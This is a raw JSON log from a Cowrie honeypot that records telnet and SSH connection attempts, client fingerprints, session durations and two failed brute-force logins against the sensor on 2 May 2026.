{"eventid":"cowrie.session.closed","duration":37.834627628326416,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:30.309560Z","src_ip":"64.227.101.30","session":"60cf95e604b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.82094097137451,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:30.551129Z","src_ip":"64.227.101.30","session":"8929ccdc35ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38740,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2a5ce688317","protocol":"telnet","message":"New connection: 64.227.101.30:38740 (10.17.0.5:23) [session: a2a5ce688317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:30.872262Z"}
{"eventid":"cowrie.session.closed","duration":50.62912726402283,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:31.056501Z","src_ip":"64.227.101.30","session":"5fdc68fea81e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39234,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3251c80ce86","protocol":"telnet","message":"New connection: 64.227.101.30:39234 (10.17.0.5:23) [session: e3251c80ce86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:31.879821Z"}
{"eventid":"cowrie.session.closed","duration":48.902990102767944,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:32.119100Z","src_ip":"68.183.198.12","session":"2f7a9130d157","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41618,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfd4da777b04","protocol":"telnet","message":"New connection: 64.227.101.30:41618 (10.17.0.5:23) [session: dfd4da777b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:36.767341Z"}
{"eventid":"cowrie.session.closed","duration":39.98298978805542,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:38.189350Z","src_ip":"64.227.101.30","session":"565e5c624152","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41964,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ff85371a6de","protocol":"telnet","message":"New connection: 64.227.101.30:41964 (10.17.0.5:23) [session: 3ff85371a6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:38.592652Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43014,"dst_ip":"10.17.0.5","dst_port":23,"session":"d95061144951","protocol":"telnet","message":"New connection: 64.227.101.30:43014 (10.17.0.5:23) [session: d95061144951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:40.022885Z"}
{"eventid":"cowrie.session.closed","duration":47.65381407737732,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:40.776772Z","src_ip":"68.183.198.12","session":"4ef2767da83f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50664,"dst_ip":"10.17.0.5","dst_port":22,"session":"c63099c61d17","protocol":"ssh","message":"New connection: 193.32.162.145:50664 (10.17.0.5:22) [session: c63099c61d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:43.382416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:43.649695Z","src_ip":"193.32.162.145","session":"c63099c61d17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:43.653733Z","src_ip":"193.32.162.145","session":"c63099c61d17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"serum","message":"login attempt [ubuntu/serum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:44.136108Z","src_ip":"193.32.162.145","session":"c63099c61d17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:45.244121Z","src_ip":"193.32.162.145","session":"c63099c61d17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.754833936691284,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:46.337083Z","src_ip":"161.97.105.174","session":"5745cbeb3944","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44922,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba711fd280f3","protocol":"telnet","message":"New connection: 64.227.101.30:44922 (10.17.0.5:23) [session: ba711fd280f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:46.499480Z"}
{"eventid":"cowrie.session.closed","duration":45.08384585380554,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:53.632687Z","src_ip":"64.227.101.30","session":"712a18ad087e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.34868311882019,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:53.889055Z","src_ip":"64.227.101.30","session":"1b1103396888","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48472,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a73e81d1ac4","protocol":"telnet","message":"New connection: 64.227.101.30:48472 (10.17.0.5:23) [session: 7a73e81d1ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:54.528341Z"}
{"eventid":"cowrie.session.closed","duration":67.87795162200928,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:54.665949Z","src_ip":"64.227.101.30","session":"a4d4b7868117","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":47708,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a2a36e1fe4b","protocol":"telnet","message":"New connection: 68.183.198.12:47708 (159.203.135.109:23) [session: 6a2a36e1fe4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:55.177610Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":47542,"dst_ip":"159.203.135.109","dst_port":23,"session":"4835f72c9b78","protocol":"telnet","message":"New connection: 68.183.198.12:47542 (159.203.135.109:23) [session: 4835f72c9b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:56.210570Z"}
{"eventid":"cowrie.session.closed","duration":34.942482233047485,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:04:58.148247Z","src_ip":"64.227.101.30","session":"c339f11d5ae1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.33244776725769,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:02.089326Z","src_ip":"64.227.101.30","session":"5421b9f31282","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":55632,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d5ceeb31b9b","protocol":"ssh","message":"New connection: 103.170.173.26:55632 (10.17.0.5:22) [session: 4d5ceeb31b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:06.589859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:06.596499Z","src_ip":"103.170.173.26","session":"4d5ceeb31b9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:06.869457Z","src_ip":"103.170.173.26","session":"4d5ceeb31b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.85580492019653,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:07.738826Z","src_ip":"64.227.101.30","session":"88181e47e827","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1w2e3r4","message":"login attempt [ubuntu/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:07.980745Z","src_ip":"103.170.173.26","session":"4d5ceeb31b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:09.252832Z","src_ip":"103.170.173.26","session":"4d5ceeb31b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.02930521965027,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:09.909018Z","src_ip":"64.227.101.30","session":"e3251c80ce86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":50136,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b8f80bf8db0","protocol":"telnet","message":"New connection: 68.183.198.12:50136 (159.203.135.109:23) [session: 3b8f80bf8db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:10.916877Z"}
{"eventid":"cowrie.session.closed","duration":40.4965660572052,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:11.368674Z","src_ip":"64.227.101.30","session":"a2a5ce688317","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":50534,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e59eb48a92f","protocol":"telnet","message":"New connection: 68.183.198.12:50534 (159.203.135.109:23) [session: 2e59eb48a92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:12.392641Z"}
{"eventid":"cowrie.session.closed","duration":3.079892158508301,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:13.996655Z","src_ip":"68.183.198.12","session":"3b8f80bf8db0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.20497465133667,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:14.972117Z","src_ip":"64.227.101.30","session":"dfd4da777b04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54334,"dst_ip":"10.17.0.5","dst_port":23,"session":"7127a866b5e2","protocol":"telnet","message":"New connection: 64.227.101.30:54334 (10.17.0.5:23) [session: 7127a866b5e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:17.608898Z"}
{"eventid":"cowrie.session.closed","duration":39.16007947921753,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:17.752541Z","src_ip":"64.227.101.30","session":"3ff85371a6de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.35378170013428,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:23.376576Z","src_ip":"64.227.101.30","session":"d95061144951","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.7337121963501,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:26.233082Z","src_ip":"64.227.101.30","session":"ba711fd280f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":101.3252956867218,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:29.808518Z","src_ip":"64.227.101.30","session":"ca2f9f69924e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57126,"dst_ip":"10.17.0.5","dst_port":23,"session":"858551de657b","protocol":"telnet","message":"New connection: 64.227.101.30:57126 (10.17.0.5:23) [session: 858551de657b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:29.899030Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":53486,"dst_ip":"159.203.135.109","dst_port":23,"session":"5373e20f15ab","protocol":"telnet","message":"New connection: 68.183.198.12:53486 (159.203.135.109:23) [session: 5373e20f15ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:32.829840Z"}
{"eventid":"cowrie.session.closed","duration":39.24817419052124,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:33.776399Z","src_ip":"64.227.101.30","session":"7a73e81d1ac4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56872,"dst_ip":"10.17.0.5","dst_port":23,"session":"242f596eca02","protocol":"telnet","message":"New connection: 64.227.101.30:56872 (10.17.0.5:23) [session: 242f596eca02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:35.108315Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":54002,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1700804c2da","protocol":"telnet","message":"New connection: 68.183.198.12:54002 (159.203.135.109:23) [session: d1700804c2da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:36.212209Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59232,"dst_ip":"10.17.0.5","dst_port":23,"session":"342029498d5b","protocol":"telnet","message":"New connection: 64.227.101.30:59232 (10.17.0.5:23) [session: 342029498d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:38.874697Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60328,"dst_ip":"10.17.0.5","dst_port":23,"session":"6662ae174609","protocol":"telnet","message":"New connection: 64.227.101.30:60328 (10.17.0.5:23) [session: 6662ae174609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:40.651840Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":54664,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6d9b065ce78","protocol":"telnet","message":"New connection: 68.183.198.12:54664 (159.203.135.109:23) [session: d6d9b065ce78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:43.996708Z"}
{"eventid":"cowrie.session.closed","duration":47.94372606277466,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:44.154180Z","src_ip":"68.183.198.12","session":"4835f72c9b78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33024,"dst_ip":"10.17.0.5","dst_port":23,"session":"11e48eec9e0c","protocol":"telnet","message":"New connection: 64.227.101.30:33024 (10.17.0.5:23) [session: 11e48eec9e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:44.907437Z"}
{"eventid":"cowrie.session.closed","duration":2.2449207305908203,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:46.241510Z","src_ip":"68.183.198.12","session":"d6d9b065ce78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60674,"dst_ip":"10.17.0.5","dst_port":23,"session":"c53236f90a5a","protocol":"telnet","message":"New connection: 64.227.101.30:60674 (10.17.0.5:23) [session: c53236f90a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:48.931645Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35412,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8d05503b08c","protocol":"telnet","message":"New connection: 64.227.101.30:35412 (10.17.0.5:23) [session: c8d05503b08c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:50.693253Z"}
{"eventid":"cowrie.session.closed","duration":33.582191467285156,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:51.190948Z","src_ip":"64.227.101.30","session":"7127a866b5e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35248,"dst_ip":"10.17.0.5","dst_port":23,"session":"37e1eca318fc","protocol":"telnet","message":"New connection: 64.227.101.30:35248 (10.17.0.5:23) [session: 37e1eca318fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:52.203034Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35888,"dst_ip":"10.17.0.5","dst_port":23,"session":"d15e46c2da93","protocol":"telnet","message":"New connection: 64.227.101.30:35888 (10.17.0.5:23) [session: d15e46c2da93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:53.224372Z"}
{"eventid":"cowrie.session.closed","duration":41.000462770462036,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:53.392979Z","src_ip":"68.183.198.12","session":"2e59eb48a92f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37352,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed6fa9cba957","protocol":"telnet","message":"New connection: 64.227.101.30:37352 (10.17.0.5:23) [session: ed6fa9cba957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:56.737128Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37632,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab9d3262048c","protocol":"telnet","message":"New connection: 64.227.101.30:37632 (10.17.0.5:23) [session: ab9d3262048c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:05:58.524208Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36356,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1195dc03f93","protocol":"telnet","message":"New connection: 64.227.101.30:36356 (10.17.0.5:23) [session: d1195dc03f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:00.956901Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":57574,"dst_ip":"159.203.135.109","dst_port":23,"session":"db2411b4e51e","protocol":"telnet","message":"New connection: 68.183.198.12:57574 (159.203.135.109:23) [session: db2411b4e51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:01.274089Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":57160,"dst_ip":"159.203.135.109","dst_port":23,"session":"78669b31ebc3","protocol":"telnet","message":"New connection: 68.183.198.12:57160 (159.203.135.109:23) [session: 78669b31ebc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:01.388111Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":56630,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3e508c0a36c","protocol":"telnet","message":"New connection: 68.183.198.12:56630 (159.203.135.109:23) [session: d3e508c0a36c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:01.835882Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":57478,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7498b808acc","protocol":"telnet","message":"New connection: 68.183.198.12:57478 (159.203.135.109:23) [session: c7498b808acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:03.629416Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39634,"dst_ip":"10.17.0.5","dst_port":23,"session":"9814b1e01f76","protocol":"telnet","message":"New connection: 64.227.101.30:39634 (10.17.0.5:23) [session: 9814b1e01f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:04.317885Z"}
{"eventid":"cowrie.session.closed","duration":3.1314618587493896,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:04.967185Z","src_ip":"68.183.198.12","session":"d3e508c0a36c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41126,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0fb74bb6c5a","protocol":"telnet","message":"New connection: 64.227.101.30:41126 (10.17.0.5:23) [session: b0fb74bb6c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:07.524852Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38832,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c52578fd94b","protocol":"telnet","message":"New connection: 64.227.101.30:38832 (10.17.0.5:23) [session: 1c52578fd94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:08.124102Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":59160,"dst_ip":"159.203.135.109","dst_port":23,"session":"91892a4c439f","protocol":"telnet","message":"New connection: 68.183.198.12:59160 (159.203.135.109:23) [session: 91892a4c439f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:12.370939Z"}
